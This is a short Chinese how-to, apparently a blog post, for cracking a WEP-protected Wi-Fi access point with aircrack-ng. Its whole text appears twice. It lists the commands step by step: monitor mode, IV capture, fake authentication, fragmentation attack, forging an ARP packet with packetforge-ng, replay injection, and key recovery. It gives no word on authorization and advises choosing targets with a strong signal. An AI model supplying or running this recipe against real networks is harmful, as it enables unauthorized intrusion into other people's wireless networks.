如何获得破解网卡的基本信息,参考这篇文章
http://www.cppblog.com/alantop/archive/2008/08/24/59825.html
1. 开一个shell,运行如下命令
airmon-ng start rausb0 6
6是路由器所在频道
airodump-ng --ivs -w name -c 6 rausb0
2. 开第二个 shell
aireplay-ng -1 0 -e 【 ap 的 essid 】 -a 【 ap 的 mac 】 -h 【自己网卡的 mac 】 rausb0
aireplay-ng -5 –b 【ap的mac】-h 【自己网卡的mac】 rausb0
packetforge-ng -0 -a 【ap的mac 】-h 【自己网卡的mac】 -k 255.255.255.255 -l 255.255.255.255 -y fragment -××××-××××.xor -w mrarp
aireplay-ng -2 –r mrarp -x 128 rausb0
128可以设置成一个比较大的值,如果在发数据包的时候没有卡死的话。
3.开第三个shell
aircrack-ng -n 64 -b 【ap的mac】 name-01.ivs
在破解的过程中,请尽量找信号比较好的ap破解。
http://www.cppblog.com/alantop/archive/2008/08/24/59825.html
1. 开一个shell,运行如下命令
airmon-ng start rausb0 6
6是路由器所在频道
airodump-ng --ivs -w name -c 6 rausb0
2. 开第二个 shell
aireplay-ng -1 0 -e 【 ap 的 essid 】 -a 【 ap 的 mac 】 -h 【自己网卡的 mac 】 rausb0
aireplay-ng -5 –b 【ap的mac】-h 【自己网卡的mac】 rausb0
packetforge-ng -0 -a 【ap的mac 】-h 【自己网卡的mac】 -k 255.255.255.255 -l 255.255.255.255 -y fragment -××××-××××.xor -w mrarp
aireplay-ng -2 –r mrarp -x 128 rausb0
128可以设置成一个比较大的值,如果在发数据包的时候没有卡死的话。
3.开第三个shell
aircrack-ng -n 64 -b 【ap的mac】 name-01.ivs
在破解的过程中,请尽量找信号比较好的ap破解。